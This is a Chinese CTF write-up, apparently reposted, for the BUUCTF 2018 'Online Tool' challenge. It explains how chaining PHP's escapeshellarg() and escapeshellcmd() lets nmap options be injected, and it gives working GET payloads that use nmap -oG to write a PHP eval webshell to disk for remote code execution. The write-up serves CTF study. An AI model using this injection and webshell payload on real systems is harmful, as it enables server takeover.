『CTF Web复现』[BUUCTF 2018]Online Tool

Posted Ho1aAs

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了『CTF Web复现』[BUUCTF 2018]Online Tool相关的知识,希望对你有一定的参考价值。

利用点

  • nmap写文件
  • escapeshellarg() + escapeshellcmd()使用不当

代码审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行

解题

nmap写文件

escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE

可以通过-oN-oG参数写入文件

nmap '<?php eval($_POST[a]);?>' -oN 1.php


那就先试试-oN

escapeshellarg() + escapeshellcmd()使用不当

起一个本地环境

<?php
show_source(__FILE__);
$cmd = $_GET["cmd"];
echo '</br>';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '</br>';
echo $cmd;
$cmd = escapeshellcmd($cmd);
echo '</br>';
echo $cmd;
echo '</br>';
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;

直接传入'<?php eval($_POST[a]);?>' -oN 1.php

[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php
'' -oN 1.php
''\\'''\\'' -oN 1.php'
''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\>'\\\\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\>'\\\\'' -oN 1.php'

执行的命令可以简化为:

nmap \\ <?php eval($_POST[a]); ?>'\\\\'' -oN 1.php'

可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断

PHP escapeshellarg()+escapeshellcmd() 之殇

那么我们将引号从-oN之前转移到最后,即传入'<?php eval($_POST[a]);?> -oN 1.php'

[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php'
' -oN 1.php'
''\\'' -oN 1.php'\\'''
''\\\\'' \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php'\\\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\\\'' \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php'\\\\'''

相当于直接运行:

nmap \\\\ \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php'\\\\'

但是,这一步出错了,在于写文件名把最后的斜杠写进去了

那么我们只要在末尾引号前加一个空格即可:传入'<?php eval($_POST[a]);?> -oN 1.php ',目的是截断引号

[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php '
' -oN 1.php '
''\\'' -oN 1.php '\\'''
''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php '\\\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php '\\\\'''

相当于直接运行:

nmap \\\\ \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php '\\\\'

这里的文件名就正常了

上传后提示出错,应该是由于-oN写入了所有提示信息,因此写入无效的句点

这些无效的句点被PHP解析了所以出错了

那么我们换成-oG参数,我们可以看一下两个参数写入的区别:

使用-oG的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入'<?php eval($_POST[a]);?> -oG 1.php ',蚁剑连接即可

Payload

[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '

欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs

以上是关于『CTF Web复现』[BUUCTF 2018]Online Tool的主要内容,如果未能解决你的问题,请参考以下文章

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)

BUUCTF MISC刷题笔记

刷题记录:ctf473831530_2018_web_virink_web

BUUCTF-[HCTF 2018]WarmUp

[红明谷CTF 2021]JavaWeb